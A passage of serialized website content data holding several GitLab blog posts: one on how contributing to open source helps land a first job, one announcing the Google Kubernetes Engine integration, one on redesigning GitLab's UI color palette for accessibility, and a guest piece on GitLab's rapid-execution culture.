[@proudboffin](https://twitter.com/proudboffin).\n",[232],{"slug":33707,"featured":6,"template":678},"monitoring-your-gitlab-environment-with-the-elk-stack","content:en-us:blog:monitoring-your-gitlab-environment-with-the-elk-stack.yml","Monitoring Your Gitlab Environment With The Elk Stack","en-us/blog/monitoring-your-gitlab-environment-with-the-elk-stack.yml","en-us/blog/monitoring-your-gitlab-environment-with-the-elk-stack",{"_path":33713,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33714,"content":33719,"config":33724,"_id":33726,"_type":16,"title":33727,"_source":17,"_file":33728,"_stem":33729,"_extension":20},"/en-us/blog/contribute-to-open-source-land-jobs",{"title":33715,"description":33716,"ogTitle":33715,"ogDescription":33716,"noIndex":6,"ogImage":12146,"ogUrl":33717,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33717,"schema":33718},"How contributing to open source can help you land your first job","Six compelling reasons why, warm fuzzy feelings aside, contributing to open source is good for your career.","https://about.gitlab.com/blog/contribute-to-open-source-land-jobs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How contributing to open source can help you land your first job\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ariel Camus\"}],\n        \"datePublished\": \"2018-04-06\",\n      }",{"title":33715,"description":33716,"authors":33720,"heroImage":12146,"date":33721,"body":33722,"category":813,"tags":33723},[33550],"2018-04-06","\n\nContributing to open source can significantly boost your chances of getting a job. And even\nthough this is true for all developers, regardless of their level of experience, it's especially\nimportant for entry-level ones.\n\nLet me make this perfectly clear: **contributing to open source is the most effective job-seeking\n hack you can take advantage of right now**.\n\nEven better, by contributing to open source you won't only improve your chances\nof getting a job, but you will also give back to the community, meet amazing and talented\npeople, and feel incredibly accomplished when your first contribution gets accepted.\n\nAt [Microverse](https://www.microverse.org/), the company I founded, we train remote software developers from all around\n the world, and we ask them to contribute to open source, starting from their first day in the program.\n\n**Here are six reasons why contributing to open source will help you too.**\n\n## Reason 1: Work as part of a (distributed) team\n\nWhen looking for a job, experience counts. However, experience limited to coding and the\nlanguage syntax is not enough. You need to know how to work as part of a team,\ncollaborating with others to build large and complex applications.\n\n**How do you get that kind of collaborative and at-scale experience if you can't get a job first?**\nThe answer is open source.\n\nLarge, open source projects are almost always built by a large team. Sometimes the people in\nthose teams even work for large organizations (e.g. GitLab, React/Facebook, etc.). By\nbecoming a contributor you get the chance to **work with those exceptional teams without\nhaving to be hired by those companies**.\n\nYou will sharpen your written communication skills, understand how to pick and negotiate\nthings to work on, perfect your Git Flow/[GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html), and many other things that are as\nvaluable as understanding the language syntax.\n\n## Reason 2: Work in a complex and large application\n\nIf you join a company, you will most likely work on an existing application. And, probably, it\nwill be a large and complex one. As a coding student you rarely have the chance to do that,\nbut when you join an open source project, that's exactly the scenario that you will face.\n\nYou will first need to **set up your local development environment** following the contributing\nguidelines provided by the project. You will then start by **refactoring existing code** to correct\ntypos and fix small bugs, the same way you would at a regular job! Finally, you will start\nunderstanding how all the **pieces** of a large application fit together, how it was **architected**,\nand where the code for each **functionality** lives.\n\nThese are not things you could experience working on small learning projects, but you need\nthis kind of experience if you want to land a job.\n\n## Reason 3: Get a lot of good feedback\n\nEvery time you pick an open source issue to work on, you will start by forking the project\nand creating a feature branch. You will write tests and code until you are happy with your\nsolution, and then submit a merge request to the original code.\n\nHowever, this is just the first step in the process. One of the main developers at the project\nwill review your merge request and will tell you if it's ready to be merged. Most likely it won't.\n But that's fine, because **she will also provide feedback about what you need to fix before\n your code can be merged**.\n\nCan you imagine getting this kind of direct feedback from a seasoned developer at GitLab or\nFacebook? Think about it… they really want your help, but they also need to keep the quality\nof the code at a high level. They will help you, and you will end up learning a lot in the process.\n\n## Reason 4: Build an online reputation\n\nGetting experience working as part of a team and contributing to large and complex applications\nis really important, but it won't help you land a job unless companies can find you and want to interview you.\n\nContributing to open source will help you with that too. After quickly reading your resume,\nemployers will want to find you online, and they will want to see your code. **GitLab and\nGitHub profiles are the new resumes**.\n\nIf employers can see that you are an active member of large open source projects, that will\ntell them something else that is very important: software is not just what you do for a living,\nbut it's also your passion and hence what you do in your free time.\n\nWhat do employers currently find when they search your name on Google? Open source will\nmake you look great!\n\n## Reason 5: Network with the community\n\nOpen source projects often have large organizations behind them who are constantly hiring\nnew developers. Wouldn't it be great for those organizations if they could hire people who\nlove their product? What if their new hires knew the product so well already that they could\nbe productive contributors from the moment they join the company?\n\nWell, that's exactly the value you offer as an active member of an open source community.\n**You know the product, you know the code, and the people behind the project know you.\nChances are that you will eventually be offered to work for them**. In fact, almost\na third of the first 40 engineers that GitLab hired were contributors to its codebase first.\n\n## Reason 6: Stay motivated\n\nLast, but not least, we all know the single and most important advice to be successful at anything\nis perseverance. However, staying motivated and focused while learning to code and applying\nfor jobs is not easy. There are a lot of things to learn, a lot of different paths to take, and many\nrejections on the path to landing your first job.\n\nJoining an open source project will give you the real-world encouragement and a community\n to support you throughout the journey.\n\nAre you convinced that contributing to open source is the best thing you can do right now to\nhelp you on your way to landing your first job? I'm pretty sure you are. Go ahead and [start now](/community/contribute/)!\n\n### About the guest author\n\n[Ariel Camus](https://twitter.com/arielcamus) is the founder of [Microverse](https://www.microverse.org/),\na company finding the world's untapped talent and training it to become remote software developers. Ariel was previously the co-founder and CEO\nof TouristEye, a travel startup that he grew to a million users and sold to Lonely Planet in 2013.\n\nCover photo by [Maik Jonietz](https://unsplash.com/@der_maik_?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n{: .note}\n",[267,7715,815],{"slug":33725,"featured":6,"template":678},"contribute-to-open-source-land-jobs","content:en-us:blog:contribute-to-open-source-land-jobs.yml","Contribute To Open Source Land Jobs","en-us/blog/contribute-to-open-source-land-jobs.yml","en-us/blog/contribute-to-open-source-land-jobs",{"_path":33731,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33732,"content":33737,"config":33742,"_id":33744,"_type":16,"title":33745,"_source":17,"_file":33746,"_stem":33747,"_extension":20},"/en-us/blog/gke-gitlab-integration",{"title":33733,"description":33734,"ogTitle":33733,"ogDescription":33734,"noIndex":6,"ogImage":29611,"ogUrl":33735,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33735,"schema":33736},"GitLab + Google Cloud Platform = simplified, scalable deployment","We’ve teamed up with Google Cloud Platform – here’s what that means for you.","https://about.gitlab.com/blog/gke-gitlab-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab + Google Cloud Platform = simplified, scalable deployment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-04-05\",\n      }",{"title":33733,"description":33734,"authors":33738,"heroImage":29611,"date":33739,"body":33740,"category":299,"tags":33741},[19026],"2018-04-05","\n\nGet super-simple deployment for your app with GitLab and Google Cloud Platform (GCP): thanks to our integration with Google Kubernetes Engine (GKE), you can now get CI/CD and Kubernetes deployment set up with just a few clicks, and [$500 credit](#get-seamless-integration-with-gke-and-500-credit-for-your-project) to get you started.\n\n## Now everyone can get automatic code quality, security testing, and no-configuration deployment\n\nWith increasing adoption of [cloud native](/topics/cloud-native/) practices, the use of [microservices](/topics/microservices/) and containers has become critical to modern software development. Kubernetes has emerged as the first choice for container orchestration, allowing apps to scale elastically from a couple of users to millions. It's been possible to deploy to Kubernetes from GitLab for quite a while, but the process of setting up and managing everything was manual and time intensive.\n\nToday, we’re happy to announce we've been collaborating with Google to make Kubernetes easy to set up on GitLab. Now, with our native [Google Kubernetes Engine integration](/partners/technology-partners/google-cloud-platform/), you can automatically spin up a cluster to deploy applications, with just a few clicks. Simply connect your Google account, enter a few details, and you're good to go! GitLab will create the clusters for you. The clusters are fully managed by Google and run on Google Cloud Platform's best-in-class infrastructure.\n\nThis also means you can easily take advantage of GitLab [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). This feature does all the hard work for you, by automatically configuring CI/CD pipelines to build, test, and deploy your application. To make use of Auto DevOps, it used to be necessary to have an in-depth understanding of Kubernetes, and you had to manage your own clusters. Not any more!\n\nWith the integration between GitLab and GKE, we’ve made it simple to set up a managed deployment environment on Google Cloud Platform and access our robust [DevOps capabilities](/topics/devops/). That’s all the benefits of fully automated code quality, security testing, and deployment, with none of the headache of managing and updating your clusters (Google does that all for you!). More than half of developers and 78 percent of managers in our [2018 Global Developer Report](/developer-survey/) agreed that automating more of the software development lifecycle is a top priority for their organization. We hope that this integration gives you a head start, by offering automation out of the box with Kubernetes and Auto DevOps.\n\n## What’s next for GitLab?\n\nWe’re not just excited about offering this integration for you to use, we’re excited to use it ourselves! We’re already in the process of migrating GitLab.com to Google Cloud Platform. For us, the primary reason to migrate was because it has the most mature Kubernetes platform. By moving, we get access to security functionality like default encrypted data at rest, a broad, ever-expanding list of localities served globally, and tight integration with our existing CDN for faster caching. Be on the lookout for more information on our migration as it progresses.\n\n## Get seamless integration with GKE and $500 credit for your project\n\nEvery new Google Cloud Platform account receives $300 in credit [upon signup](https://console.cloud.google.com/freetrial?utm_campaign=2018_cpanel&utm_source=gitlab&utm_medium=referral). In partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with GitLab’s GKE integration. Here's a link to [apply for your $200 credit](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form).\n\n## Join Google and GitLab for a live demo\n\nOn April 26th, join Google’s [William Denniss](https://www.linkedin.com/in/williamdenniss/) and GitLab’s [William Chia](https://www.linkedin.com/in/williamchia/) for a walkthrough of the new GKE integration. You’ll learn how easy it is to set up a Kubernetes cluster, how to deploy your app using GitLab CI/CD, and how GKE enables you to deploy, update, and manage containerized applications at scale.\n\n[Register today](/webcast/scalable-app-deploy/)!\n",[3049,923,232,2509,4103],{"slug":33743,"featured":6,"template":678},"gke-gitlab-integration","content:en-us:blog:gke-gitlab-integration.yml","Gke Gitlab Integration","en-us/blog/gke-gitlab-integration.yml","en-us/blog/gke-gitlab-integration",{"_path":33749,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33750,"content":33755,"config":33760,"_id":33762,"_type":16,"title":33763,"_source":17,"_file":33764,"_stem":33765,"_extension":20},"/en-us/blog/polishing-gitlabs-ui-a-new-color-system",{"title":33751,"description":33752,"ogTitle":33751,"ogDescription":33752,"noIndex":6,"ogImage":11919,"ogUrl":33753,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33753,"schema":33754},"Polishing GitLab’s UI: A new color system","Senior UX Designer Pedro Moreira da Silva takes us on a deep dive into how the UX team improved the GitLab UI’s color palette.","https://about.gitlab.com/blog/polishing-gitlabs-ui-a-new-color-system","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Polishing GitLab’s UI: A new color system\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Moreira da Silva\"}],\n        \"datePublished\": \"2018-03-29\",\n      }",{"title":33751,"description":33752,"authors":33756,"heroImage":11919,"date":33757,"body":33758,"category":734,"tags":33759},[20154],"2018-03-29","\nWe receive a lot of feedback from our users and the broader community. After\nhearing that there is a perceived lack of consistency and quality in GitLab’s\nUI, we decided to take a look at our _color palette_.\n\n\u003C!-- more -->\n\nAesthetic aspects like this are a fundamental part of the UI. If we don’t get\nthese right, everything else in the UI won’t feel, look, or behave correctly.\nLike a house, these aesthetics are the foundation upon which everything else is\nbuilt.\n\nOur color palette had various issues, so we started by:\n\n- [building a better palette][ce#28614] that aligned with our goals,\n- and [defining a color priority system][ce#31094] that helped us move forward.\n\n## Why start with colors?\n\nThere are many aesthetic aspects to a UI. So why tackle colors first? Well…\n\n- **Colors are easy to change**: it’s just a matter of changing simple values in\n  our [`variables.scss`](https://gitlab.com/gitlab-org/gitlab-ce/blob/1553a34dbff167978f5dc81cc3a21e0b3b2b2bfa/app/assets/stylesheets/framework/variables.scss#L14)\n  file.\n- **Color changes don’t affect layout**: we weren’t reinventing the wheel, so\n  these changes wouldn’t influence the layout and spacing between elements like\n  typography can.\n\nAnd, more subjectively, colors have a huge impact on the perception of a UI.\nIt’s said that 90 percent of information entering the brain is visual and color\nis an attention-grabbing device.\n\n## Issues with the previous color palette\n\n![Previous color palette](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/prev-palette.png)\n\n### It didn’t extend the brand colors\n\nThey weren’t in line with our [brand colors](https://gitlab.com/gitlab-com/gitlab-artwork/blob/9b07772f44a9fa51f395a95928a6e41c61a5b1cb/colors),\nwith the most obvious example being the pinkish-red normally associated with\nnegative aspects like errors or irreversible actions. We already have a red from\nour brand, so why use a different one?\n\n### There were too many similar colors\n\nWith so many colors, it wasn’t easy to tell them apart. They were so similar\nthat they no longer brought value to the table, just more guesswork and\nmaintenance.\n\n### There wasn’t enough contrast\n\nMany of our color combinations did not meet the contrast ratios defined in the\n[Web Content Accessibility Guidelines (WCAG)][wcag-contrast].\n\nNote that some of these issues were also applicable to grayscale colors (also\ncalled “achromatic”).\n\n## Building a better palette\n\nAt GitLab, we’ve done a lot of things while standing on the shoulders of giants,\naligning with our company value of [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions).\nAs such, one of our initial thoughts was to use an existing color palette,\nsomething that could save us time and maybe serve as the basis for our work.\n\nWe soon found [Open color](https://yeun.github.io/open-color/), an open source\ncolor scheme optimized for UI. It has 13 hues, each with 10 levels of\nbrightness, totaling 130 different colors. All of the values are there, it would\nbe easy for our Frontend team to get started by importing it as a dependency.\nThis was starting to look very promising and we were getting excited about this\nquick start.\n\nHowever, the more we thought about our current needs and goals, the more we\nrealized that this approach wasn’t going to work for us. Existing color palettes\nusually had too many colors for our needs and the ones we did need, would have\nto be tweaked to align with our brand colors. All of the upsides of using an\nexisting color palette were now irrelevant.\n\nWe went back to the drawing board, starting with defining the goals we wanted\nour new color palette to achieve:\n\n- Align with and extend our brand colors\n- Have only the hues that we need, the colors that have meaning in the UI\n- Be accessible by passing the WCAG\n\n### 1. Extending the brand\n\nThe first step in creating our new color palette was inspired by “[Add Colors To Your Palette With Color Mixing][viget-article],”\nwhere we used [ColorSchemer Studio](http://www.colorschemer.com/osx_info.php)\nto generate this color wheel from the [three brand colors](https://gitlab.com/gitlab-com/gitlab-artwork/blob/9b07772f44a9fa51f395a95928a6e41c61a5b1cb/colors)\nand the [primary purple used on this site](https://gitlab.com/gitlab-com/www-gitlab-com/blob/9c4a9b653f013483d5053c1da30cba6d4bb96bd5/source/stylesheets/_variables.scss#L16):\n\n{: .text-center}\n![Color wheel generated from the brand colors](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/color-wheel.png){:style=\"width:350px\"}\n\nInitial colors were separated by even intervals of hue and manually tweaked. In\nthe image above, the matching brand colors are next to the wheel for reference.\n\n### 2. Cutting the rainbow\n\nThen, we generated tints and shades for some of the hues in that color wheel:\ngreen, blue, purple, red and orange.\n\n{: .text-center}\n![Tints and shades](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/tints-shades.png){:style=\"width:451px\"}\n\nThese were first obtained from the [Material Design Palette Generator](http://mcg.mbitson.com/)\nand then tweaked manually using [Colorizer](http://colorizer.org/) and Eric\nMeyer’s [Color Blender](https://meyerweb.com/eric/tools/color-blend). The dark\norange colors are a good example of manual tweaking as they initially looked\nvery “muddy.”\n\nIt’s important to consider the number of tints and shades that you need, as that\naffects the flexibility when applying those colors. Our guiding principle here\nwas to provide clear and visible contrast between each step of the scale. If we\nhad steps that were too similar, the difference wouldn’t be noticeable, which\nmeant that there was no value in having those colors.\n\nWe didn’t want all of the colors of the rainbow, just the ones that _carry\nmeaning effectively_. We want to be able to communicate states and actions by\napplying colors to elements in the UI (e.g. informational elements are\nassociated with blue). If you have too many similar colors in a UI, like green\nand lime, you’re expecting too much not only of your users but also of your\nteam. On the one hand, most of your users won’t notice the difference between\ncolors when placed in a complex UI, so they also won’t pick up the different\nmeanings. On the other hand, your team will have more work learning, working\nwith, and maintaining unnecessary colors.\n\nAdditionally, we shouldn’t rely on color alone to communicate something, so\nthat’s also another point for not having too many similar colors. This is\nactually one of the success criteria of the WCAG about the [use of color](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-without-color.html):\n\n> Color is not used as the only visual means of conveying information,\n> indicating an action, prompting a response, or distinguishing a visual\n> element.\n\n### 3. Colors for everyone\n\nUsing a small set of colors which allows for better memorization and recognition\nis already a good step towards a more usable product, but it’s not enough.\n\n[Evaluating, testing, and prioritizing accessibility problems](https://gitlab.com/groups/gitlab-org/-/epics/31)\nis one of our main initiatives here at GitLab. Establishing contrast between\ntext and background is one of the key aspects of accessibility and, as we saw\nbefore, our previous color palette didn’t meet the [WCAG contrast\nratios][wcag-contrast]. So, as we were defining our new color palette, we\ncontinually tested the colors using the [WebAIM Color Contrast Checker](https://webaim.org/resources/contrastchecker/).\n\nAlong the way, we hit a problem: combinations of _white_ text over _green_ or\n_orange_ backgrounds did not pass **WCAG level AA for small text**. This was an\nissue because we wanted to keep a uniform “vibrancy” and “pop” throughout all\ncolors. While the colors looked uniform to our human eye, the WCAG test didn’t\n“see” them as we did. Would we be forced to “break” this visual consistency and\nuse darker shades for those colors? Not only that, but this would render them too\ndark to _carry meaning effectively_. In the following example, the “success”\nmeaning of green or the “warning” meaning of orange become less immediate as\ntheir contrast increases.\n\n![Warning and success elements can be more or less noticeable but that affects the result of the WCAG contrast tests](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/problematic-colors.png)\n\nWe found an interesting take on this at the [Google Design](https://design.google/)\nwebsite, which intentionally uses colors that at least pass **AA for large\ntext**:\n\n> Due to this site’s purpose being a source for visual design reference\n> and inspiration, we felt it was acceptable not to target a stronger color\n> contrast level. — [Behind the Code — Google Slash Design Accessibility](http://www.instrument.com/articles/google-slash-design-accessibility)\n\nConsidering our audience and user base, should we be rigid and enforce **AA\nlevel for small text**? As a first step towards better color contrasts, we\ndecided to set our minimum at **AA for large text**, even for _small text_. For\ngrays, we [tested and tweaked their contrast against light gray backgrounds][ce#36675],\nas that is a common color used to differentiate regions in the UI.\n\n{: .text-center}\n![All tints and shades with corresponding WCAG levels, including grays](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/tints-shades-wcag.png){:style=\"width:567px\"}\n\n## Color priorities\n\nSo, after all this work, we introduced a wide range of color tints and shades\nwith the new color palette. The problem was that there was no guidance for using\nthem. Some color decisions are fairly quick and intuitive, but we wanted to\nstandardize and make the color selection process as objective as possible for\neveryone, even developers. We want to give people the chance to make a decision\nwithout imposing approval or reviews by the UX team. We want to be [lean, efficient, and focus on results](https://handbook.gitlab.com/handbook/values/).\n\nSome questions that we should be able to answer:\n\n- “I need to use one blue, which shade should I pick?”\n- “This UI component needs three contrasting shades of green. Can I pick\n  whichever I want?”\n\nThe [Material Design colors](https://material.io/guidelines/style/color.html)\nhave been a great source of inspiration for us. They follow the numeric naming\nconventions used by the [CSS `font-weight` property](https://www.w3.org/TR/css-fonts-3/#font-weight-prop),\nwhere a higher value equals a higher degree of blackness. So, we’ve named our\ncolors from the lightest (**50**) to the darkest (**950**).\n\nOn top of this naming scheme, we’ve defined a system of color priorities. This\nis similar to how different font weights are used to create contrasting\ntypography that communicates hierarchy.\n\nWe can apply this same logic to colors, as seen in the image below, by tagging\nthem according to their priority: from **1** to **4**. If you need guidance, the\npriorities can help you make better choices. When choosing how to apply color to\na UI component:\n\n- You start at priority **1**, which is the medium weight **500**. There’s only\n  one shade with priority 1 per color (the “default” shade).\n- For more shades of the same color, you could then choose from the next\n  priority level, number **2**, which can either be **300** (lighter) or **700**\n  (darker). And so forth for even lighter or darker shades.\n\n![All tints and shades with corresponding priorities, names, and WCAG levels, including grays](https://about.gitlab.com/images/blogimages/polishing-gitlabs-ui-a-new-color-system/color-priorities-system.png)\n\n## What’s next\n\nAlong the way, we’ve learned that [mixing colors and defining color palettes](https://books.google.com/books?id=R4qwDQAAQBAJ)\nis not only science, nor only art, it’s a subjective balance on the human mind.\nColor harmony depends on many factors, like culture, age, social status, or even\nthe [designer’s intent](http://www.aic-color.org/journal/v1/jaic_v1_review.pdf).\n\nWe’ll have to see how people use the 11 tints and shades and how they’re applied\nin our [Design System][ds]. This is a constant evolution, and we’re always\niterating (as we should be).\n\nNext, we’re going to review our [color meaning guidelines](https://design.gitlab.com/)\nand be more active in their usage, not only in the product but also in our\n[Design System][ds] and [pattern library](https://gitlab.com/gitlab-org/gitlab-design/blob/master/gitlab-elements.sketch).\n\nA new color palette and a color priority system are seemingly small steps\ntowards a better user experience throughout GitLab, but they do make a big\ndifference, for our users, our team, and every contributor. This is the first\ninitiative to polish our UI styles, next we’re implementing our new [type scale](https://gitlab.com/gitlab-org/gitlab-ce/issues/24310)\n– which will deserve a dedicated blog post.\n\nIf you have any questions, feel free to [post a comment on the community forum](https://forum.gitlab.com/new-topic?tags=blog-feedback),\n[tweet at us](https://twitter.com/gitlab), or join the discussion on the\nfollowing issues:\n\n- [Change chromatic/full colors to a more harmonious palette][ce#28614]\n- [Define color priorities][ce#31094]\n- [Define a pure gray color scale][ce#36675]\n",[676,2248,2249,2250],{"slug":33761,"featured":6,"template":678},"polishing-gitlabs-ui-a-new-color-system","content:en-us:blog:polishing-gitlabs-ui-a-new-color-system.yml","Polishing Gitlabs Ui A New Color System","en-us/blog/polishing-gitlabs-ui-a-new-color-system.yml","en-us/blog/polishing-gitlabs-ui-a-new-color-system",{"_path":33767,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33768,"content":33774,"config":33781,"_id":33783,"_type":16,"title":33784,"_source":17,"_file":33785,"_stem":33786,"_extension":20},"/en-us/blog/high-efficiency-innovation",{"title":33769,"description":33770,"ogTitle":33769,"ogDescription":33770,"noIndex":6,"ogImage":33771,"ogUrl":33772,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33772,"schema":33773},"3 lessons for innovation and rapid execution from GitLab","Guest author Jay Newman recently shadowed our CEO to discover how we move so quickly.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680169/Blog/Hero%20Images/high-efficiency-innovation.jpg","https://about.gitlab.com/blog/high-efficiency-innovation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"High-efficiency innovation: 3 lessons to learn from GitLab's culture of rapid execution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jay Newman\"}],\n        \"datePublished\": \"2018-03-27\",\n      }",{"title":33775,"description":33770,"authors":33776,"heroImage":33771,"date":33778,"body":33779,"category":6634,"tags":33780},"High-efficiency innovation: 3 lessons to learn from GitLab's culture of rapid execution",[33777],"Jay Newman","2018-03-27","\n\nAll companies have different ways of creating new products and services. Despite that, there are a few patterns that show up consistently. At [Jump](http://www.jumpassociates.com), we like to call those patterns the different \"cultures\" of innovation. One such pattern has to do with execution. Great executors (like GE and FedEx) are masters of sharp focus and efficient machine-making.\n\nMany of the Fortune 500 companies that we work with do their best innovation this way. They've built infrastructure that excels at launching products globally, coordinating thousands of employees and operating at massive scale. These companies often ask us what they can learn from what's going on in Silicon Valley. There's much to learn, of course, from the startups and entrepreneurial ecosystem here.  \n\nThe important question is not \"How do they do things in Silicon Valley?\" Instead, it's \"What can I learn that would work well in my organization?\" It's always exciting to come across a startup that's doing what these big companies do best – execute at scale – and doing it in a completely different way.\n\nGitLab is one such company. They're an open source software company powering many of the world's largest corporations. They've developed a surprising – and strong – culture of innovation. They're a remote-only company. There's no physical headquarters or office space for their 200+ employees located worldwide. They proudly admit that they value \"boring solutions.\" Their [entire business strategy is available](/company/strategy/) for the public and their competitors to see. They're respected for their [product](/blog/gitlab-leader-continuous-integration-forrester-wave/), their [culture](/company/culture/), and their [results](http://www.businessinsider.com/gitlab-raises-20-million-from-gv-2017-10).\n\nMany companies pride themselves on their ability to iterate quickly and answer yes/no decisions rapidly. Even they might be surprised at the scope and scale of GitLab's efficiency. GitLab drives high-efficiency innovation through a culture of rapid execution. They weave speed directly into the fabric of who they are and what they do. Do you want to learn how they do it? I recently shadowed GitLab's CEO, [Sid Sijbrandij](/company/team/#sytses), and his team for a day.\n\nHere's how they make it happen.\n\n## When the answer is clear, build for speed. Speed wins.\n\n*Why build a culture of rapid execution?*\n\nWith such a unique team culture and set of business practices, the first thing I wanted to learn from Sid was why GitLab operates the way it does. What became clear was that it's all very intentional.\n\nA few key beliefs are central to the decisions they've made:\n\n### Belief 1: The solution required to win is already super clear to everyone.\n\nThey're operating in a market called DevOps, which is about creating platforms and tools for software developers to use in their work. It's a market where both the unmet customer need and the ideal solution are clear to everyone.\n\nThey were newer to the game than some brand name and legacy competitors, so they chose to prioritize speed over invention to get to the finish line first.\n\n### Belief 2: If you don't do anything new, you can do things faster, bigger and better.\n\nThe folks at GitLab believe that it's better to be boring. They value \"boring solutions.\" It's not because boring is better in and of itself. It's because boring is efficient. It's faster. And faster can become bigger. And when you add in collaboration with a global open source community, bigger can become better.\n\nIf there's a market standard, they don't try to create something different. They get on board. As Sid says, \"It's about convention over conviction. We make sure everyone [in the open source community] is enticed to participate. If the rest of the world is doing it in some way, we should be doing it in that way.\"\n\n### Belief 3: It's OK not to make everyone happy.\n\nIt's hard for most companies – and most people – to change to what made them successful in the first place. For GitLab, making those kinds of changes is critical to achieving the growth they seek. So on a daily basis, they choose to act quickly, make mistakes quickly, and learn from those mistakes quickly.\n\nThat can lead to decisions – big and small – that might not make everyone happy.\n\nWhen they launch a completely new version of GitLab (they're on version [10.6](/releases/2018/03/22/gitlab-10-6-released/) right now), they always add some things that will frustrate some existing customers, and they often take away things that other customers love.\n\n\"There's way more people not using GitLab than that are. So we should always optimize for those future customers, not your current ones. That's why companies slow down. They start listening. Engineers want to fix the current bugs. Sales wants to keep the old deck that works for them. You start listening to your customers and what they need you to maintain or fix. The natural motion of any company is to slow down. So as CEO you need to get the company beyond that.\"\n\nSo what does high-efficiency innovation and rapid execution look like at GitLab?\n\nHere are a few examples of the pace at which they operate:\n\n1. They release a new version of GitLab every single month.\n1. Everything is in draft and subject to change. It's always under construction.\n1. They don't repeat themselves. GitLab documents how it does things in a [handbook](/handbook/). It's 1,000 pages long. If it's in the handbook, don't repeat it.\n1. Every conference call starts on time. No wasted minutes. Sid checks 15-30 action items off the list in each of his 25-minute 1-on-1 meetings.\n1. They trust their team to multi-task appropriately. If you want to check email during a meeting, it's probably more important than the meeting is to you.\n\nThere's a final, often-overlooked value of speed: it's exciting. Workplaces that manage to pair speed with evident progress allow their teams to feel accomplished, motivated, and on the edge of their seats. It's an easy hack for maintaining employee engagement.\n\n## Don't sacrifice long-term vision for short-term speed. Be accountable for both.\n\n*What is GitLab is rapidly executing on?*\n\nMany companies who prize execution do a great job at sustaining and growing their existing products. They're often quite efficient – though they could learn something from the speed at which GitLab operates. But they're more likely to struggle with thinking far out into the future.\n\nTo paraphrase Stephen Covey, there's a big difference between efficiency and effectiveness. A jet flying 1,000 miles per hour is efficient; a jet flying 1,000 miles per hour in the right direction is effective.\n\n#### So if GitLab as an organization is a jet built for speed – where is it going?\n\nSid wants GitLab to help multiply the potential for progress that humanity can drive into the world. \"Our mission is 'Everyone can contribute.' That's a long-term vision. That's 10 years. It means changing all of our culture to read-write. Think Wikipedia. They allow everyone to contribute. Imagine if we can do that. You release a lot of progress. You 10x the progress. [Multipliers like that are] thrown around so easily in Silicon Valley that you have to be cautious. But if you look at 100,000 companies using GitLab, and really being able to get their out software faster. I'm willing to stand behind that.\"\n\nThat means that not only is GitLab thinking about efficiency and effectiveness, but it's also thinking about impact. Impact on the scale of human progress and global culture.\n\nThat's pretty big and pretty far out. So how do they make sure the pilots keep looking way out there on the horizon while flying at supersonic speeds and maneuvring around today's obstacles?\n\nFirst, you set the mission and vision. Everything starts with that mission in mind. Everyone knows it, and Sid talks about it [every chance he gets](https://blog.ycombinator.com/gitlab-distributed-startup/).\n\nNext, you draw that vision back into today's actions with cascading plans. Create a three-to-five-year strategy about how to get there. Craft a yearly plan and [product vision](/blog/gitlabs-2018-product-vision/) – one that's concrete enough that you could show screenshots of what it will look like a year from now. Define quarterly goals (GitLab's [OKRs](/company/okrs/) are public), monthly targets, and smaller sprints to get you there.  \n\nThird, you make each of these regular goals highly ambitious, close-in, unambiguous, and concrete. \"Setting high goals pushes people beyond their comfort zone,\" Sid told me. At Y Combinator, he says they taught GitLab that \"20 percent is the new 10 percent.\" That's 20 percent growth, every single week. It's a high number, and it forces them to make completely different types of decisions.\n\nFinally, because the short-term goals are incredibly high, you focus on iteration. [Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is one of GitLab's core values. They define it clearly: \"We do the smallest possible thing and get it out as quickly as possible.\" And they don't just ask developers and designers to work this way. \"We put the whole company on that diet. It made sense for the product. But for marketing, sales, etc., we've gotten them there. If you say 'Grow XYZ in the next two weeks,' you do completely different things. I don't know why that is, but you do.\"\n\n### Encode culture and values to keep the company moving faster.\n\n*How does GitLab do what they do?*\n\nIt was GitLab's strong culture and values orientation that first drew me to them as an organization. I'm often on the lookout for how leaders drive values through their organizations – from Jon Stewart on \"The Daily Show\" to the frontline teams at Starbucks and Zappos.\n\nThe best values-oriented organizations draw explicit links between their values, their competitive advantages, and their daily activities.\n\nHere's where GitLab stands out.\n\nIn just one day of shadowing GitLab's staff, the team talked about values during a product meeting, two interviews with prospective employees, an analyst call and a 1-on-1 with a teammate. The whole team is drawing causal links between what it does (its business activities) and how it does them (the values they live by).\n\n>The whole team is drawing causal links between what it does (its business activities) and how it does them (the values they live by).\n\nSo how does that work? It requires leaders choosing to identify not just the values that matter, but also how to organize around them. Sid told us \"I didn't do 